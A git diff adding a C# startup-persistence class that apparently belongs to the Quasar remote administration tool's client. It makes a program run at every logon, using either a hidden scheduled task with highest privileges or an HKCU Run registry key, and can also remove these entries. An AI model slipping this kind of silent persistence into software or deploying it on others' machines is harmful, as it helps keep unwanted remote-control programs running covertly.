initial commit
This commit is contained in:
@@ -0,0 +1,52 @@
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Enums;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientStartup : ClientSetupBase
|
||||
{
|
||||
public void AddToStartup(string executablePath, string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
|
||||
"\" /rl HIGHEST /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
|
||||
true);
|
||||
}
|
||||
|
||||
public void RemoveFromStartup(string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/delete /tn \"" + startupName + "\" /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user